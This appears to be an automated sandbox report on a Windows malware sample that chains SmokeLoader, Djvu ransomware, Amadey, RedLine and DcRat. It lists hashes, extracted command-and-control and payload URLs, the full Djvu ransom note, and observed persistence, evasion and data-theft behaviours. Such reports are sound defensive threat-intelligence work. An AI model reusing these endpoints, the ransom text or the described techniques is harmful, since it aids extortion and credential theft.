amadey | 2b48a940abdbb712e70e2da9c2b309a30bd7e8446fb2bc7e913155da7606aa3f

Resubmissions

27-03-2023 07:51

230327-jp31kscd46 10

27-03-2023 07:48

230327-jm8s2sed6s 1

27-03-2023 07:35

230327-jeqmhacc77 10

Analysis

max time kernel
150s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
27-03-2023 07:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

269KB
MD5

26d85c2bdc983c43452401545f3c6007
SHA1

e18a2a223b91f426b5dab23b13970264d1da6ebc
SHA256

c8313943995590c444dac429919bc562c8f81c7d81c898fbb9bd7822dce889f4
SHA512

d652d2c4ab97507e0b61b37dc069b024a531b56e80f95a449d201ba6b0a1b6baecc33162be4f4a4571054295154c2c4c0a27f6831ac5dd37f0d27e3795fde3e5
SSDEEP

3072:Fm6fmyQA+BF8tlkC42EVOkAz+t/lB2SpYeEvyqbxDFoio56WmxeQZn78F:zQLK42EskAhS+7fyZmB

Score

10^/10

amadey dcrat djvu redline smokeloader koreamon pub1 sprg backdoor collection discovery evasion infostealer persistence ransomware rat spyware stealer trojan

Malware Config

Extracted

Family

smokeloader

Version

2022

http://potunulit.org/

http://hutnilior.net/

http://bulimu55t.net/

http://soryytlic4.net/

http://novanosa5org.org/

http://nuljjjnuli.org/

http://tolilolihul.net/

http://somatoka51hub.net/

http://hujukui3.net/

http://bukubuka1.net/

http://golilopaster.org/

http://newzelannd66.org/

http://otriluyttn.org/

http://aapu.at/tmp/

http://poudineh.com/tmp/

http://firsttrusteedrx.ru/tmp/

http://kingpirate.ru/tmp/

http://hoh0aeghwugh2gie.com/

http://hie7doodohpae4na.com/

http://aek0aicifaloh1yo.com/

rc4.i32

Extracted

Family

djvu

http://zexeq.com/lancer/get.php

Attributes

extension
.typo
offline_id
Yao2o6f5vNghOpgVBhEIA8O96SC5vLcgITgaRMt1
payload_url
http://uaery.top/dl/build2.exe
http://zexeq.com/files/1/build3.exe
ransomnote
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-f8UEvx4T0A Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: support@freshmail.top Reserve e-mail address to contact us: datarestorehelp@airmail.cc Your personal ID: 0672IsjO

rsa_pubkey.plain

Extracted

Family

smokeloader

Botnet

pub1

Extracted

Family

smokeloader

Botnet

sprg

Extracted

Family

amadey

Version

3.65

77.73.134.27/8bmdh3Slb2/index.php

Extracted

Family

redline

Botnet

koreamon

koreamonitoring.com:80

Attributes

auth_value
1a0e1a9f491ef3df873a03577dfa10aa

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

DcRat 5 IoCs

DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

rat infostealer dcrat

Processes:

file.exeD97C.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\2f93599c-985f-4394-9efd-355ec48635b4\\D97C.exe\" --AutoStart"	D97C.exe
384	schtasks.exe
3328	schtasks.exe
5072	schtasks.exe

Detected Djvu ransomware 16 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4232-149-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4232-154-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/2136-155-0x0000000004A10000-0x0000000004B2B000-memory.dmp	family_djvu
behavioral2/memory/4232-156-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4232-162-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4232-173-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/3748-179-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/3748-180-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/3748-185-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/3748-186-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/3748-187-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/3748-200-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/3748-202-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/3748-203-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/3748-217-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/3748-295-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu

Djvu Ransomware
Ransomware which is a variant of the STOP family.
ransomware djvu

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 9 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3860-327-0x0000000004D00000-0x0000000004D52000-memory.dmp	family_redline
behavioral2/memory/3860-328-0x0000000004D00000-0x0000000004D52000-memory.dmp	family_redline
behavioral2/memory/3860-330-0x0000000004D00000-0x0000000004D52000-memory.dmp	family_redline
behavioral2/memory/3860-332-0x0000000004D00000-0x0000000004D52000-memory.dmp	family_redline
behavioral2/memory/3860-334-0x0000000004D00000-0x0000000004D52000-memory.dmp	family_redline
behavioral2/memory/3860-339-0x0000000004D00000-0x0000000004D52000-memory.dmp	family_redline
behavioral2/memory/3860-341-0x0000000004D00000-0x0000000004D52000-memory.dmp	family_redline
behavioral2/memory/3860-343-0x0000000004D00000-0x0000000004D52000-memory.dmp	family_redline
behavioral2/memory/3860-345-0x0000000004D00000-0x0000000004D52000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs

Processes:

XandETC.exeupdater.execonhost.exe

description	pid	process	target process
PID 4008 created 2172	4008	XandETC.exe	Explorer.EXE
PID 4008 created 2172	4008	XandETC.exe	Explorer.EXE
PID 4008 created 2172	4008	XandETC.exe	Explorer.EXE
PID 4008 created 2172	4008	XandETC.exe	Explorer.EXE
PID 4008 created 2172	4008	XandETC.exe	Explorer.EXE
PID 3300 created 2172	3300	updater.exe	Explorer.EXE
PID 3300 created 2172	3300	updater.exe	Explorer.EXE
PID 3300 created 2172	3300	updater.exe	Explorer.EXE
PID 3300 created 2172	3300	updater.exe	Explorer.EXE
PID 4900 created 2172	4900	conhost.exe	Explorer.EXE
PID 3300 created 2172	3300	updater.exe	Explorer.EXE
PID 3300 created 2172	3300	updater.exe	Explorer.EXE

Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 9 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

JGAbA.bat.exeD97C.exePlayer3.exenbveek.exe1737.exe7FD7.bat.exeWScript.exeD97C.exeD05.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	JGAbA.bat.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	D97C.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	Player3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	nbveek.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	1737.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	7FD7.bat.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	D97C.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	D05.exe

Executes dropped EXE 25 IoCs

Processes:

D97C.exeDDD3.exeD97C.exeDF6A.exeD97C.exeD97C.exeF67D.exeF863.exebuild3.exeD05.exePlayer3.exess31.exenbveek.exeXandETC.exe1737.exePlayer3.exe57EB.exenbveek.exemstsca.exe7FD7.bat.exeBC83.exeupdater.exeJGAbA.bat.exe638196.exenbveek.exe

pid	process
2136	D97C.exe
2348	DDD3.exe
4232	D97C.exe
832	DF6A.exe
5088	D97C.exe
3748	D97C.exe
3136	F67D.exe
3572	F863.exe
2796	build3.exe
100	D05.exe
396	Player3.exe
3872	ss31.exe
4936	nbveek.exe
4008	XandETC.exe
1412	1737.exe
2112	Player3.exe
3860	57EB.exe
2856	nbveek.exe
5088	mstsca.exe
4876	7FD7.bat.exe
3952	BC83.exe
3300	updater.exe
4184	JGAbA.bat.exe
1800	638196.exe
1932	nbveek.exe

Loads dropped DLL 3 IoCs

Processes:

rundll32.exerundll32.exerundll32.exe

pid process

4728 rundll32.exe
4160 rundll32.exe
4948 rundll32.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

1928 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4728	rundll32.exe
4160	rundll32.exe
4948	rundll32.exe

pid	process
1928	icacls.exe

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

Processes:

dllhost.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Office\10.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Office\11.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Office\12.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	dllhost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

D97C.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\2f93599c-985f-4394-9efd-355ec48635b4\\D97C.exe\" --AutoStart"	D97C.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

34 api.2ip.ua
35 api.2ip.ua
43 api.2ip.ua

flow	ioc
34	api.2ip.ua
35	api.2ip.ua
43	api.2ip.ua

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

BC83.exe

pid process

3952 BC83.exe
3952 BC83.exe
3952 BC83.exe

pid	process
3952	BC83.exe
3952	BC83.exe
3952	BC83.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

D97C.exeD97C.exeupdater.exe

description	pid	process	target process
PID 2136 set thread context of 4232	2136	D97C.exe	D97C.exe
PID 5088 set thread context of 3748	5088	D97C.exe	D97C.exe
PID 3300 set thread context of 4900	3300	updater.exe	conhost.exe
PID 3300 set thread context of 3860	3300	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

XandETC.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

4944 sc.exe
4964 sc.exe
4680 sc.exe
3904 sc.exe
4800 sc.exe
1120 sc.exe
452 sc.exe
1212 sc.exe
1444 sc.exe
2268 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
4944	sc.exe
4964	sc.exe
4680	sc.exe
3904	sc.exe
4800	sc.exe
1120	sc.exe
452	sc.exe
1212	sc.exe
1444	sc.exe
2268	sc.exe

Program crash 5 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
3368	832	WerFault.exe	DF6A.exe
5048	3572	WerFault.exe	F863.exe
1928	1412	WerFault.exe	1737.exe
5080	4160	WerFault.exe	rundll32.exe
1204	3952	WerFault.exe	BC83.exe

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

F67D.exefile.exeDDD3.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	F67D.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	F67D.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DDD3.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DDD3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	F67D.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DDD3.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

dllhost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dllhost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	dllhost.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

384 schtasks.exe
3328 schtasks.exe
5072 schtasks.exe

pid	process
384	schtasks.exe
3328	schtasks.exe
5072	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.execonhost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe

Modifies registry class 1 IoCs

Processes:

7FD7.bat.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000_Classes\Local Settings 7FD7.bat.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000_Classes\Local Settings	7FD7.bat.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

file.exeExplorer.EXE

pid	process
1916	file.exe
1916	file.exe
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

2172 Explorer.EXE
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

656

pid	process
2172	Explorer.EXE

pid	process
656

Suspicious behavior: MapViewOfSection 21 IoCs

Processes:

file.exeDDD3.exeF67D.exeExplorer.EXE

pid	process
1916	file.exe
2348	DDD3.exe
3136	F67D.exe
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE
2172	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXE57EB.exepowershell.exe7FD7.bat.exepowershell.exepowershell.exepowershell.exepowershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeShutdownPrivilege	2172	Explorer.EXE
Token: SeCreatePagefilePrivilege	2172	Explorer.EXE
Token: SeShutdownPrivilege	2172	Explorer.EXE
Token: SeCreatePagefilePrivilege	2172	Explorer.EXE
Token: SeShutdownPrivilege	2172	Explorer.EXE
Token: SeCreatePagefilePrivilege	2172	Explorer.EXE
Token: SeShutdownPrivilege	2172	Explorer.EXE
Token: SeCreatePagefilePrivilege	2172	Explorer.EXE
Token: SeShutdownPrivilege	2172	Explorer.EXE
Token: SeCreatePagefilePrivilege	2172	Explorer.EXE
Token: SeShutdownPrivilege	2172	Explorer.EXE
Token: SeCreatePagefilePrivilege	2172	Explorer.EXE
Token: SeShutdownPrivilege	2172	Explorer.EXE
Token: SeCreatePagefilePrivilege	2172	Explorer.EXE
Token: SeShutdownPrivilege	2172	Explorer.EXE
Token: SeCreatePagefilePrivilege	2172	Explorer.EXE
Token: SeShutdownPrivilege	2172	Explorer.EXE
Token: SeCreatePagefilePrivilege	2172	Explorer.EXE
Token: SeShutdownPrivilege	2172	Explorer.EXE
Token: SeCreatePagefilePrivilege	2172	Explorer.EXE
Token: SeShutdownPrivilege	2172	Explorer.EXE
Token: SeCreatePagefilePrivilege	2172	Explorer.EXE
Token: SeDebugPrivilege	3860	57EB.exe
Token: SeDebugPrivilege	3620	powershell.exe
Token: SeDebugPrivilege	4876	7FD7.bat.exe
Token: SeDebugPrivilege	4256	powershell.exe
Token: SeDebugPrivilege	2668	powershell.exe
Token: SeShutdownPrivilege	2172	Explorer.EXE
Token: SeCreatePagefilePrivilege	2172	Explorer.EXE
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeDebugPrivilege	1276	powershell.exe
